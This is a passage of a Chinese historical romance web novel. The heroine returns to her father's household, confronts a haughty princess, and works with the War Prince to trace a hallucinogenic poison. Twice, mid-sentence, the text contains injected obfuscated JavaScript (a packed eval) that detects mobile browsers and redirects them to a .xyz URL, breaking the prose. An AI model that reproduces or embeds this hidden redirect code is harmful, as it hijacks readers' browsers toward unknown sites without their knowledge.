南宫景:“不要打草惊蛇,先静观其变。” 回京之后,南宫景直接回了战王府。而宋颜夕则是由宋章亲自领着进了相府。 看到宋颜夕的时候,府上的人个个表情丰富。 其中,要数老夫人和宋娇娇最为明显。 “你这祸国妖孽,竟然还敢回来?”宋娇娇叫嚣着就要带宋颜夕去见国师。 结果,她还没来得及抓到宋颜夕的手就被宋章呵斥住:“陛下已经亲自为彩衣正名,若是再让我听见那四个字,绝不轻饶。” “娇娇,还不快退下。” 刘云香见情况不对,赶紧拉着宋娇娇退到一旁。 老夫人就没有这么好说话了,她冷哼一声:“我不管陛下如何裁定,但宋彩衣与老身八字不合,让她回府,除非我**。” “母亲,你这是为何?彩衣毕竟是我的女儿啊。”宋章显然有些为难。 宋颜夕并没有说话,而是静静地站在一旁看着宋章和老夫人交锋。 最后,是宋章占了上风。 看着老夫人怒气冲冲离去的背影,宋颜夕勾了勾嘴角。 宋章这次选择站在她这边,多半是因为皇帝对她的态度。 回到梧桐苑之后,宋颜夕发现这院子竟然还有丫鬟在打扫。 她离开的这些日子,梧桐苑不仅没有荒废,反而还比她在的时候更加齐整一些。 “二姑娘,您终于回来了。” 冲她打招呼的,是那个别有用心的护卫,阿贵。 宋颜夕皱了皱眉,这家伙怎么还在? “这些,都是你打扫的?”宋颜夕指着院子问道。 阿贵点头:“姑娘不在,小的有责任为您看着梧桐苑。不像那个阿呆,您出事后,他可是第一个逃跑的,生怕被您牵连。” 宋颜夕干笑一声:“还是你忠心啊。” 阿贵听了这话之后,表现得更加殷勤了,一直忙前忙后,替她张罗着回府的一切事宜。 从他口中,宋颜夕得知了一个炸裂的消息。 “你说什么?大长公主不仅没有取消收我为义女,还把日子提前了?” 这一点,她回京这么久都不知道。 “是啊姑娘,您现在已经是大长公主的义女了。” 同一时间,南宫景也得知了这个消息。 “阿姊,你说什么?你已经收了宋二姑娘为义女?” 大长公主摆弄着眼前的花草:“阿景,这么惊讶做什么?这件事,你不是早就知道吗?” “虽然我知道,但……” “我知道你在怀疑她。但这小姑娘我可是喜欢得很,以后啊,你可别欺负她。” 南宫景:…… 他当初的确怀疑过她,也曾因为不想喝她有过深的牵扯而赞成认亲之事。 但现在情况不一样了。 他可不想当她的“小舅舅”。 ...... 回到相府的第二天,宋颜夕便见到那位大公子宋钰。 同时,她也见到了乐歆。 和印象中的乐歆不同,眼前的女人眉目沉静,玉簪垂珠,手执一把团扇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15518143|165591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,温婉得像是换了一个人一般。 见到宋颜夕的时候,她朝她福了福身。 “这位便是二妹吧,我是你大嫂,许知意。” 许知意? 这便是她在东越的身份吗? 宋颜夕面色如常,和她寒暄了几句便转身看向宋钰。 这位大公子倒是和传闻中一样沉默寡言。 “彩衣见过大哥。”宋颜夕主动和他打招呼。 宋钰点了点头:“既然遇见了,就一同去向祖母请安吧。” 作为新妇,乐歆可谓是将东越这晨昏定省的规矩执行得十分彻底。 尽管她在老夫人面前表现得十分乖巧,不过,那老太太对她的厌恶也是十分。 那程度,不亚于对宋颜夕了。 “我不管你出身如何,既然嫁入宋府就要守宋府的规矩。若是让我发现你将那些陋**带入府中,必定严惩不贷。还有啊,作为我们宋家媳妇儿,必须要……” 对于老夫人的要求,乐歆全都点头应下 宋颜夕暗中观察,心中不免升起疑惑。 乐歆当初在西菱的时候可是个火爆脾气,也正是因为如此,他们才会成为“朋友”。怎么来了东越就变成这幅受气媳妇儿的模样了。 难道,她在伪装? 她混入丞相府又有什么目的? 该不会也是为了那批黑铁矿吧? “还有你,也给我注意点儿。要是再让宋家蒙羞,便是你父亲不同意,我也要将你赶出府去。” 宋颜夕原本站在一旁看热闹,冷不丁,这火就烧到了她的身上。 “祖母认为,孙女能做什么让宋家蒙羞的事呢?”宋颜夕反问。 “怎么,你还不服气?也不想想,自从你回府之后,闹出了多少笑话?” “笑话?祖母说的是女儿为大长公主挡灾,被大长公主收为义女的事吗?还是说,女儿得蓬莱仙人点化,踏莲归来之事?如果这些事能让宋府蒙羞的话,那孙女确实难辞其咎。” 那些字从宋颜夕嘴里一个一个地往外蹦,听得老夫人额角的青筋跳了好几支舞。 正当她准备怒斥宋颜夕的时候,忽见门房急匆匆跑了进来。 “老夫人,楚王殿下来了,指名要见二姑娘。” 第157章:又见乐歆 南宫宴来找她,这是宋颜夕万万没有想到的。 再次相见,南宫宴还是和上次一样,穿着一件近乎拖地的狐裘披风。 “臣女见过楚王殿下。”宋颜夕朝他福身行礼。 “宋二姑娘不必多礼。算起来,你我如今也算是同辈。按照辈分,你应唤我一声表兄。” 宋颜夕依旧和他保持距离,应付着说了一句:“臣女不敢高攀殿下。” “既如此,本王也不强求。” 南宫宴一边说,一边打量着宋颜夕:“宋二姑娘瞧着眼熟,咱们之前是否在哪儿见过?” “上回王爷来府中找我爹爹之时,臣女有幸见过殿下。” “原来如此。” 南宫宴和她瞎扯了几句之后就步入正题:“听说宋二姑娘曾得蓬莱仙人指点,不知那蓬莱仙境究竟在何处呢?” 宋颜夕却是摇了摇头:“仙境缥缈难觅,臣女也不知自己是如何抵达仙境,只记得当迷雾散尽,便已经坐在一艘极大的莲花舟上。臣女在海上漂了数日才抵达仙境。” “二姑娘的意思是,蓬莱仙境在海的另一边?” “或许是吧。” 宋颜夕看向远方:“不过,那海与平日里所见大为不同。” 南宫宴又问:“有何不同?” “虽然当时我的意识有些模糊,到臣女依稀记得,那海水,是金色的。” 宋颜夕乱七八糟扯了一通,将那蓬莱仙境变成天上有地下无的存在。 南宫宴听完之后,表现出浓厚的兴趣。 “宋二姑娘竟然有此机缘,倒是让本王羡慕得很呐。” 说罢,他朝宋颜夕递过来一张帖子:“五日后,天心阁会有一场盛大的请神仪式,不知宋二姑娘可有兴趣参加?” 天心阁请神,也是东越的新年习俗之一。 每一年,皇帝在九台山祈福之后,便会由国师择良日在天心阁请神。 换句话说,这请神仪式,便是对神明的答谢宴。 南宫宴离开之后,宋颜夕打量着那张帖子陷入沉思。 南宫宴怎么会亲自给她送帖子? 莫非,他发现了什么? “姑娘,您当真要去天心阁吗?”春分端着茶盘进来,见宋颜夕手上的请帖,低声问了一句。 宋颜夕将帖子扣在桌上:“楚王亲自递的帖子,若是不去,便是不给他面子。” 而且,这是调查南宫宴的一个很好的机会,她不想错过。 “对了,紫翎呢?这几日怎么都没见着她?”说着,宋颜夕朝门口的方向看了几眼。 春分答道:“说是去追贼了,一大早就出去了呢。” “她最近对那小贼挺上心啊。你可知,她追的是什么贼?” 春分摇了摇头:“紫翎并未说过。” 与此同时,城郊竹林。 紫翎和段恒相对而立:“你这小贼三番两次挑衅,究竟为何?” “我可不是小贼。” 段恒轻咳一声,随意找了个借口:“上回骗了你,是我不对。我是专程来向你道歉的。” “道歉?” 紫翎冷哼一声:“你的道歉方式,就是偷走我的荷包?” “我要是不偷走你荷包,你能追出来吗?” 段恒说罢,从怀中掏出一个紫色荷包朝紫翎扔了过去:“喏,荷包还你。你这次能好好听我讲话了吧?” “哼,你这小贼与你家主子一样无耻。想让我接受你的道歉,先打赢我再说!” “我警告你啊,你说我也就罢了,休要侮辱我家王爷。” “什么王爷,根本就是满嘴谎言的骗子。” 说完这句话,紫翎已经提剑攻了上去。 …… “姑娘,夫人有请。” 宋颜夕正在和春分商议天心阁请神事宜,姜淑萍就差人来请她。 进了茱萸院才知道,她的那三个子女都在。 “彩儿来了,快让母亲好好瞧瞧。” 刚进院子,姜淑萍就拥了上来。 宋颜夕不动声色,她的这位“嫡母”,又在耍什么诡计? “彩儿啊,这些日子你受苦了。都是母亲不对,那日,没有能力从国师手中保下你。” 见她拿着帕子擦眼泪,宋颜夕顺势回了一句:“母亲说得哪里话?那日就连父亲都无可奈何,母亲又如何能够与国师抗衡呢。” “彩儿你能理解母亲就好,如今正值新年,咱们一家人好不容易聚在一起,母亲便想着让你过来一道吃一顿团圆饭。彩儿你看,这些可都是你爱吃的。” 姜淑萍推着她坐下,亲自为她布菜。 那殷勤的模样,倒像真的是她母亲似的。 宋钰夫妇看不出什么,倒是宋婉儿和宋诚面色不善。 不过想必是被提前“教育”过,哪怕不待见宋颜夕,他们倒也没对她恶语相向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15518144|165591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “听说楚王找过彩儿,可是与你说了什么?”推杯换盏之后,姜淑萍终于步入正题。 宋颜夕如实回答:“殿下邀请女儿参加天心阁的请神仪式。” “这可是莫大的机缘啊,彩儿果真福分不浅。” “彩儿不知,请神仪式女儿该做什么?” “什么也不用做,一切事宜自有天心阁的人操持,你啊,到时随我们一道观礼即可。” 宋颜夕问:“母亲也参加吗?” “那是自然,你以为楚王殿下只给你一人送了请柬吗?一个村姑,也配?”说话的是宋婉儿。 她与宋颜夕本就接触不多,自从替嫁之事发生之后,她便也不再掩饰对宋颜夕的厌恶,言语之间透着几分嘲讽。 “婉儿,怎么能这么与你妹妹说话呢?还不快向彩儿道歉?”姜淑萍面露不悦。 宋颜夕摆了摆手:“母亲不必动怒,想必是大姐姐的病还未好。彩儿是不会与姐姐计较的。” “还是彩儿大度。” 姜淑萍朝嬷嬷勾了勾手,嬷嬷立刻将一张银票递到她的手中。 请神仪式不容马虎,你们几个,都去珍宝阁做几身行头吧。 说罢,她的目光落在宋钰身上:“钰儿,看着你弟弟妹妹们,莫要在外面惹事。” “是,母亲。” 散了席之后,宋颜夕就和他们一道出了门。 到了门口的时候,偶然遇见宋娇娇,在她的撺掇之下,宋婉儿和宋诚直接拉着她上了马车。 “哎呀,我们这马车坐不下了。二姐,你不如,走过去?”宋娇娇拦在宋颜溪面前,脸上露出嘲讽的笑。 说完,她一脚踏上马车。 见马车远去,乐歆向她发出邀请:“二妹若是不嫌弃,便坐我们的车吧。” 宋颜夕一口应下:“那就麻烦大哥大嫂了。” 马车上,宋颜夕看着乐歆:“大嫂长得可真好看,你这样娇滴滴的美人儿,究竟是怎么看上我那书呆子大哥的?” 宋钰扫了她一眼,没有说话。 说起来,除了上次请安偶遇之外,他和这位名义上的二妹也仅仅是第二次相见。 她是如何得知,他是个“书呆子”的? “二妹有所不知,你大哥他啊,是我的救命恩人。” “救命恩人?” 宋颜夕打量着他们二人,似乎没料到他们之间还有这样的故事。 第158章:珍宝阁的争吵 按照乐歆所说,她是几个月前被宋钰从河里捞上来的,刚被救上来的时候,她的脑袋受了重创,根本记不得自己是谁。 宋钰将她留在身边日日照料,一来二去,二人便生出情愫。 向来呆板的宋钰也不知怎么回事,竟然直接在外派期间和乐歆拜了堂。 虽然没有父母之命,却还是正儿八经请了媒婆,在地方登记入册,三媒六聘将人娶进了门。 “还真是一段佳话呢。” 宋颜夕打量着乐歆,见她脸上的羞涩不似作假,心中疑惑更甚。 她,该不会真的失忆了吧? 本想替她检查一番确认真假,但她的医术还不能暴露。 想了想,宋颜夕只能作罢。 抵达珍宝阁的时候,门口还停着另一辆马车。 看到那辆马车时,宋钰皱了皱眉。 “大哥这是怎么了?”宋颜夕问。 宋钰看向那辆马车:“那是卢郡王府的马车。” 宋颜夕瞬间明白了他的意思。 果然,他们才刚踏进珍宝阁,就听见一阵争吵声。 “这是本郡主看中的钗裙,你这小小的侍郎之女也配与本郡主争抢?” 这声音,是李梦安的。 宋娇娇跋扈惯了,自然也不会让李梦安指着鼻头骂,当下便反击回去。 “郡主您确实比我高贵,不过,以您这身份还同我这区区侍郎之女争抢,传出去怕是惹人笑话。” 不仅是宋娇娇,就连宋诚也补了一句:“四妹妹还是将这钗裙让给郡主吧,若是郡主一怒之下发了疯,你我都担待不起。” 因为当初卢郡王在相府门前那么一闹,李梦安得病之事已经不是什么秘密。 李梦安本就因为此事感到烦闷,如今听了宋诚的话,更是怒上心头。 “你们两个狗东西,竟敢辱骂本郡主,来人呐,把他们给我拿下。” 经过上次失踪之事,卢郡王给李梦安加强了护卫,她一声令下,立刻便有好几个精壮的护卫冲了进来。 “郡主这是要仗势欺人吗?”宋娇娇面上已经有了惧意,却还是不肯低头。 宋诚拍了拍她的肩膀:“放心吧四妹妹,就凭他们?还不够给我塞牙缝的呢。” “二弟,住手!” 正当宋诚打算大展拳脚的时候,宋钰喝止了他,“不得对郡主无礼。” “大哥,此事分明是她先挑起的……” “还嫌上次的事闹得不够大吗?” 接触到宋钰那微凉的目光,宋诚顿时不说话了。 对于这个沉默寡言的大哥,他打小就有些畏惧。 宋颜夕见此,不免觉得好笑。 没想到,张扬如老虎一般的宋诚,竟然还会有怕的人。 “梦安郡主,在下宋钰。替我二弟和四妹向你道歉。还望郡主大人大量,莫要与他们计较。” 宋钰说着,朝李梦安拱了拱手。 李梦安却并没有看向宋钰,而是盯着宋颜夕:“你这女人,果真回来了?把本郡主害成这样,竟然还敢回来?谁给你的胆子?” 宋颜夕朝她笑了笑:“陛下给的啊。梦安郡主怕是没有看告示吧,陛下已经替我正名,所谓祸国妖孽,都是无稽之谈。郡主得了怪病,和我完全没有关系的。” “你……任你巧舌如簧,也改变不了你是个妖女的事实,本郡主会找到证据的。” “我的身份可是陛下亲自验证过的,郡主言下之意,莫非是在质疑陛下?” 李梦安面色一紧:“本郡主没有那个意思,你别给我乱扣帽子。” 说完,她再次看向宋诚和宋娇娇:“这钗裙,本郡主今日非要不可。” “既然郡主想要,四妹便另选一套吧。”说话的是宋钰。 一旁的乐歆见此,立刻捧着另外一套衣裙走到宋娇娇面前:“我瞧着这套也很衬四妹,不如,四妹试试这个如何?” 宋娇娇却一把甩开她手上的衣裙:“你是什么东西,也敢替本小姐做决定?” 被她这么一推,乐歆没站稳摔在地上。 宋颜夕快宋钰一步将乐歆扶起来,顺势摸了摸她的脉门。 脉象紊乱,竟当真有受过重伤的迹象。 莫非,她说的都是真的? 宋钰满是急切地检查了乐歆的双手,见她没有受伤,这才转头看向宋娇娇。 此时此刻,他的眼中一片寒凉:“这可是你大嫂,宋娇娇,你竟敢如此无礼?” 一路上,宋钰的表情始终是淡淡的。这还是宋颜夕头一回在他脸上见到愠怒之色。 就连宋娇娇也被这一声呵斥吓得不轻。 正要说话,却被宋诚捂着嘴拉到一边:“四妹妹少说几句,若真惹恼了大哥,你我都讨不了好。” “今日就看在大公子的份上不与你们计较,往后见了本郡主,记得绕道走。” 说罢,李梦安带着她的战利品离开了珍品阁。 离开之前,她横扫了宋颜夕一眼,用仅有两个人能听到的音量说道:“别以为和表姑母认了亲就真的飞上枝头变凤凰了,山鸡永远是山鸡。” 对于她的挑衅,宋颜夕丝毫不放在心上。 不过,李梦安这个人她却是要继续接触的。因为,她还需要从她身上找到当初“中邪”的线索。 若***当真与她中的是同一种毒,那么,他便可以顺藤摸瓜找到那个下毒之人。 “那好像不是回郡王府的方向,梦安郡主这是要去大长公主府上吗?”看着卢郡王府上的马车,宋颜夕问了一句。 宋钰声音低沉:“你想做什么?” “我能做什么啊大哥?既然找麻烦的人都走了,咱们就挑衣服去吧,看,大姐姐都已经挑好了呢。” 宋婉儿是最早挑中心仪的衣裙的,方才宋娇娇和李梦安争吵的时候,她正在楼上换衣裳。 此时李梦安离开,她便穿着新衣裳下了楼。 不得不说,这个宋婉儿是有几分趋吉避凶的觉悟的。 有了宋钰坐镇,宋娇娇倒是没再找宋颜夕的麻烦。 不过在回府的路上,却又发生了一件事。 他们的马车和另外一辆马车在街上迎面碰上了。 “是战王府的座驾,快快让行。”做出决定的,是宋钰。 车夫立刻将马车驶到一边,却不想,对面的马车里却传来一道冷峻的声音。 “车上坐的,可是宋二姑娘?” 第159章:单独见面,李梦安 一盏茶时间后,宋颜夕坐在战王府的马车上和南宫景面面相觑。 “王爷就这样当着宋家人的面将我带走,是生怕别人不知道你我之间的关系吗?” “哦?不如宋姑娘说一说,你我之间是什么关系?” “自然是盟友的关系。” “既是盟友,我自然不会害你。所以宋姑娘尽管放宽心。” 话题被他绕了回去,宋颜夕索性就不说话了。 “听说你们在珍品阁和李梦安起了冲突?”南宫景又问。 宋颜夕眉毛微挑:“王爷该不会派人监视我吧?” “若我说是碰巧撞见,你信吗?” “你说呢?” 南宫景轻咳一声:“你刚回相府,我也是担心你嘛。你若不喜欢有人跟着,我便让那些人都撤了。” “如此,就劳烦王爷了。” 宋颜夕当然不喜欢这种被人拿捏行踪的感觉,若他们是单纯的盟友也就罢了。她可是打算“黑吃黑”,顺走那批黑铁矿的。 二人一路闲聊,没过多久,马车便停了下来。 宋颜夕掀开车帘往外看了看:“王爷带我来大长公主府作甚?” “不是有话要问李梦安吗?眼下时机正好。” 南宫景丝毫不掩饰他的目的,下车之后,朝宋颜夕伸出手。 宋颜夕却直接略过他,径直从车上跳了下来。 “还请王爷与我保持距离,我不希望有第三方知晓你我之间的合作关系。” “好,那边如你所言。” 说罢,南宫景真的后退了两步和她拉开距离。 有了南宫景领路,宋颜夕甚至都不需要门房传话就直接入了公主府。 他们来到园子里的时候,李梦安正坐在大长公主身边说着什么。看起来,倒是和谐得很。 见到宋颜夕,李梦安脸色一变,差点就要破口大骂。 然而当她看到宋颜夕身后的南宫景时,到了嘴边的话又咽了下去。 “阿景和宋丫头都来了?快过来坐。” 见到他们,大长公主显然十分开心。宋颜夕才刚坐下,就被她抓住了手。 “瞧瞧,这才过去多久,宋丫头都瘦成什么样了。九台山的事情我都听说了,丫头啊,想来你这些日子也吃了不少苦吧。” 宋颜夕朝她乖巧一笑:“有劳殿下挂心,彩衣一切都好。” 大长公主佯装生气:“还叫殿下呢?” 宋颜夕顿了顿,最终还是唤了声:“义母。” “好好好,阿景啊,以后宋丫头可就是你外甥女了,别成日板着一张脸吓着丫头,知道吗?” 南宫景扯了扯嘴角:“知道了,阿姊。” 三人旁若无人地说着话,李梦安忽然觉得自己有些多余。 她一咬牙,捂着额头歪歪扭扭朝地上倒去。倒下的时候,还掀翻了宋颜夕跟前的杯盏。 “安儿这是怎么了?来人呐,传太医。” 因为这一倒,大长公主的注意力全都放在李梦安身上,倒是无暇再与宋颜夕说话了。 “表姑母,安儿无碍。想必是前些日子的病还未好透,身子骨仍然有些乏力。” “身子骨不好就别出来吹风了,来人呐,快送郡主回府。” 眼看大长公主就要命人将李梦安送回去,李梦安顿时脸色一变。最终,还是宋颜夕开口说了几句话。 “义母,彩儿觉得此时将郡主送回去实为不妥。外头风大,若是再着了凉,郡主金贵的身子可如何受得了?” “丫头说的也有些道理。” 斟酌之下,大长公主决定将李梦安留在公主府养病。 在旁人看不见的地方,宋颜夕朝南宫景使了个眼色。 南宫景会意,寻了个借口将大长公主支走。又以李梦安需要静养为由,将随侍的丫鬟都遣到院外候着。 当屋内只剩下两个人的时候,李梦安倏然睁开了眼。 “宋彩衣,你这是什么意思?” 宋颜夕眨了眨眼:“我哪儿有别的意思啊?不过是怕府上的丫鬟伺候不力,打算贴身照顾郡主你呢。” “你会这么好心?”李梦安一脸警惕。 “如今你我也算是一家人了,我关心郡主,不是情理之中的吗?” “谁跟你一家人啊!” 李梦安将嘴巴嘟得很高,“一个村姑,竟然也妄想与本郡主攀亲戚?” “我自然不配与郡主攀亲戚了。不过郡主可别忘了,这认亲之事可是大长公主提出来的,你如此不待见我,一口一个村姑,岂非打公主的脸吗?我是无所谓的,就是不知道公主能不能理解你那颗孤傲的心呢。” “你在威胁我?” 李梦安直接从床上跳了下来,“真以为本郡主是被吓大的吗?我这就去告诉表姑母,让她断了与你的关系。” “梦安郡主可听说了九台山的事?你就不好奇,堂堂国师,怎么就被关入天牢了吗?” 刚走到门口,身后就传来宋颜夕略带冰冷的声音。 李梦安脚步一顿:“此事与我有何干系?” “是因为癫狂之症。国师在祈福大会上突发疾症,差点伤了陛下。当时啊,他双眼通红,面色乌青,神志全无......” 听着宋颜夕的描述,李梦安的脚步也越发沉重。 她的手已经按在门上,却怎么都使不出力气推开那扇门。 “郡主是否也觉得这症状似曾相识?” 李梦安将手收了回来,转身看向宋颜夕:“你到底是什么意思?” “没什么意思,只是提醒一下郡主,不要以为自己病好了,就万事大吉。这一切,才刚刚开始呢。” “不知道你在说什么,国师犯了疯病,与本郡主有何关系?” “若此事与郡主无关,那弦歌舫呢?据说,年前弦歌舫出了命案,其中一名死者正是礼部尚书府的小公子。而那杀人凶手在自尽前,同样举止癫狂。症状与国师无异。” 宋颜夕一边说,一边朝李梦安走去。 “无论是国师还是那个凶手,都为癫狂之症付出了代价。如此想来,郡主是幸运的,毕竟,你如今还好好地站在这里。” 听到这儿,李梦安的脸色已经有些泛白:“本郡主的病已经好了,而且,我只是中毒了,根本就不是得了疯病。宋彩衣,你少在这危言耸听。” “是吗?” 宋颜夕朝她笑了笑。 下一瞬,她伸出右手揽过李梦安的脖子,贴在她耳边说了一句:“我倒是信你,但,谁能证明你真的病愈了呢?毕竟就在刚刚,你还当着大长公主的面晕倒了呢。” 李梦安脸色大变:“你明明知道,我刚刚只是......” “只是怎么样?装的吗?” “我......” 李梦安被堵得哑口无言。她若是承认是装的,那便是欺骗了大长公主,若是承认先前的病未痊愈,万一京中出了命案,大理寺真的有可能会把她带回去严加审问。 那种血腥腌臜的地方,她若是进去了,还有没有命出来都未可知。 正在踌躇之际,忽然听见宋颜夕的声音再次响起: “能救你的人只有我。所以,你现在还要与我为敌吗?郡主?” 第160章:承认师丈? 宋颜夕和李梦安在房中待了很久,等到她从屋内出来的时候,正好看到南宫景靠在长廊的另一头等着她。 “她招了?”南宫景问。 宋颜夕点头:“想知道?自己去问你的表侄女啊。” “问她作甚,你不也是我的,外甥女吗?” “外甥女”三个字,南宫景咬得有些重,甚至还有些咬牙切齿的味道。也不知他是在与谁置气。 说完,他又补了一句:“国师府的人买通了御医,御医断言,国师在九台山上的行为是因为中了毒。再过两日,他便要被放出来了。你猜,他会不会已经知道,是你暗中给他下了毒?” 言下之意,国师出狱之后必定会伺机报复,留给他们调查的时间不多了。 宋颜夕沉思片刻,最终还是决定将得到的消息与他分享。 虽然她厌恶南宫景,但不能否认,此人是她如今最好的盟友人选。 至少在知道他的身份之前,他们也算合作愉快。 “我替李梦安诊过脉了......她体内的毒......失踪那天,李梦安去了城郊。那附近,正是古德茂的宅邸。” “果然是那儿吗?她可还记得当时发生了什么?” 根据宋颜夕的描述,李梦安当时是被一只麋鹿引到郊外的。 到了郊外后,那麋鹿消失在一片云雾之中。 没过多久,她的眼前便出现了一座高耸入云的城堡。 那城堡的外墙呈黑色,共有六道门,但每一道门都上了锁,李梦安想尽办法都没能进门。 就在她准备离开的时候,身后忽然响起一道声音。 “你说,她听见了琴声?而且,看见了气七彩神鸟?” 宋颜夕点头:“没错,她还说那巨鸟带着她飞上了九霄云外。在她的意识里,她并没有癫狂,而是在神鸟的带领下,去了仙宫。” 说到这儿,宋颜夕抬头看向天空:“上京城哪儿来的麋鹿呢?想来,李梦安早在城中的时候就已经中了毒。那道琴声,便是引起毒发的关键所在。” 南宫景捏了捏指尖,“那颗珠子,你可钻研出什么了?” 宋颜夕摇头。 她虽然利用药理让国师短时间失智,但国师在这么短的时间之内就恢复正常,很显然,对方用的毒比她用的要厉害得多。 “蒋文彦既然能解了李梦安身上的毒,想必对这毒有些了解,需不需要我招他进京?” “你知道他在哪儿?该不会,从我们分别那日,你就派人盯着他吧?”宋颜夕问。 南宫景不置可否:“你不是也派人盯着他吗?” 在这一点上,他们达成了共识。 其实,从当时李梦安发病的时候,宋颜夕就觉得她的病或许和他们要查的事情有关系。 只是当时正好摊上了国师那档子事,所以,调查才会被耽搁了。 此时,正好有一信鸽飞到南宫景手中。 看了信上的内容之后,南宫景看向宋颜夕:“咱们立刻出府,姜文彦已经进京了。” 见到蒋文彦的时候,他正陪舒妤在茶肆里饮茶。 刚端起杯子,头上就投下一片阴影。 “师父,师丈?没想到这么快就见到你们了。” “别瞎叫啊。” 宋颜夕直接在他对面坐了下来:“第一,我不是你师父。第二,他不是你师丈。” “你早晚都是我师父的,看,这是什么。” 蒋文彦从药箱里掏出那本行医记录推到宋颜夕面前:“说好的100人,如今可是只剩1人了。” “这最后一个人,不如由我们来指定,如何?”说话的是南宫景。 蒋文彦看向南宫景:“师丈想让我医治何人?” 南宫景指尖轻扣桌面,缓缓吐出三个字:“李梦安。” “梦安郡主?” 蒋文彦眨了眨眼:“我在离京之前给她留了药,按理说,她的病应该已经好了啊。” 不过,因为他当时的治疗并没有完成,所以,并未记录在记录本上。 “的确是好了。不过……只是大家以为的罢了。” 宋颜夕喝了一口茶,继续说道:“当初既然是你给她瞧的病,应该知晓她身上中了什么毒。” 蒋文彦点头:“我游历天下时曾在某个部落中见过部落里的孩童中过这样的毒。实则,是那些孩童误食了一种叫天奎的毒草,此草有极强的致幻性,食用过后,会看见飞翔的鱼、八条腿的兔子、跳舞的小人……” 蒋文彦曾经救治过那些部落里的孩童,是以,知道解毒的方子。 “你的方子只是暂时压制了她体内的毒,一旦被催发,李梦安还会再次陷入癫狂,到时,只怕是药石无灵了。” “这……怎么会这样呢。” 蒋文彦有些忧心忡忡:“若当真如此,我得再见一见梦安郡主才行。不如,师父你随我一同去吧。若是你出手,必定能彻底解了郡主身上的毒。” “我已经见过李梦安了。不过,还无法确定她中的究竟是什么毒。” 蒋文彦脸色沉重:“连师父都没有诊出来吗?” 想了想,他又问道,“师父今日来找我,可是有什么需要我做的?” “我想知道,你当初给李梦安配的是什么药。” 整整一个下午,宋颜夕都把自己关在房里。 听着屋里传来“乒乒乓乓”的声音,蒋文彦走到南宫景身边,低声问道:“师丈,你说师父到底在里面干什么呢?” “还叫我师丈?”南宫景反问,“没听见她方才跟你说的吗?” “诶?难道师丈也觉得,我治不好梦安郡主的病吗?还是说,是我误会了你和师父的关系?” 南宫景看向他:“若你当真能让她收你为徒,这一声‘师丈’,我便应下了。” 蒋文彦勾了勾嘴角:“那师丈就等着我的拜师酒吧。” 宋颜夕从屋内出来的时候,蒋文彦已经不在门口。反倒是南宫景一直在那守着。 “你怎么还在这儿?” 宋颜夕打量着南宫景,他身为东越一人之下万人之上的战王,成日里都这么空闲的吗? “自然是等你的结果。可制出你想想要的东西了?” 宋颜夕眯眼:“你知道我的计划?” 第161章:李梦安脸红了 “什么?师父你方才不是在制解药,而是在制,毒?” 听到宋颜夕的计划时,蒋文彦的脸上满是震惊,“为何要诱发郡主的病?万一稍有不慎,郡主怕是......会有姓名之忧。” “要引蛇出洞,必须行非常之法。我会和郡主沟通,征求她的同意。” 宋颜夕的行动力堪称一绝,当天晚上,她就敲响了李梦安的房门。 因为她还住在大长公主府,宋颜夕很轻易就见到了她。 “我不同意。” 正如蒋文彦所说的一样,李梦安并不想以身犯险。 “我知道这样做会有风险,但这是郡主目前唯一的选择。若主动诱发你体内的毒,尚且能根据病症做好应对之策,但若是等到那下毒之人动手,郡主才真的是姓名堪忧。” “你以为本郡主是三岁孩童吗?若本郡主当真毒发,你又如何保证本郡主的安全?” 宋颜夕早就料到她会这么说,当即朝屋外喊了一句:“进来吧。” 话音刚落,房门便被打开了。 蒋文彦背着药箱走了进来,朝李梦安行了个拱手礼。 “郡主可还记得他?” 李梦安打量着蒋文彦:“本郡主应该认得他吗?” 因为先前神志不清,是以,她并未认出蒋文彦。 “这位蒋公子医术不凡,郡主先前的毒,便是他压制的。说起来,蒋公子还是郡主的救命恩人呢。” “原来是你!” 李梦安脸色微红,先前就隐约觉得救她的大夫是个年轻男子,没想到,竟然长得如此俊俏。 “郡主请放心,蒋某一定会保护郡主安全。还请郡主放心一试。” 李梦安还是有些为难:“你当真,能护我周全?” 虽然还有些没把握,但蒋文彦余光从宋颜夕身上瞥过。 有师父在,肯定没问题的。 于是,他重重点了点头:“当真。” “好,本郡主便信你一回。蒋大夫,会贴身保护本郡主的吧?” 说着,李梦安还朝蒋文彦的身上靠了靠。 蒋文彦后退一步,再次朝她行了一礼:“蒋某言出必行。” “宋彩衣,你说说吧,要本郡主怎么做?”李梦安看向宋颜夕。 “郡主什么都不用做,只需躺下便好。” 说罢,她指了指屋外,“看到了吧,你表叔也在呢,你的安全没有问题。” “表叔?” 蒋文彦震惊无比:“能被郡主称为表叔的,那不就是......” 没想到,他师丈竟然是赫赫有名的战王殿下。 想到他下午说过的话,蒋文彦顿时觉得热血沸腾。 战王殿下是他师丈,真是太刺激了。 李梦安躺下之后,宋颜夕从怀中掏出一个瓷瓶,然后又从瓷瓶中倒出一颗将近有半指粗的药丸递给李梦安。 “服下它。”宋颜夕说。 尽管还是有些犹豫,但在看到蒋文彦那张脸时,李梦安还是闭着眼将那颗黑乎乎的药丸吞了下去。 很快,她就陷入了昏睡状态。 宋颜夕掏出银针包,对蒋文彦使了个眼色:“我现在替她疏通筋脉,你见机行事。” 蒋文彦重重点头:“放心吧师父,我知道怎么做。” 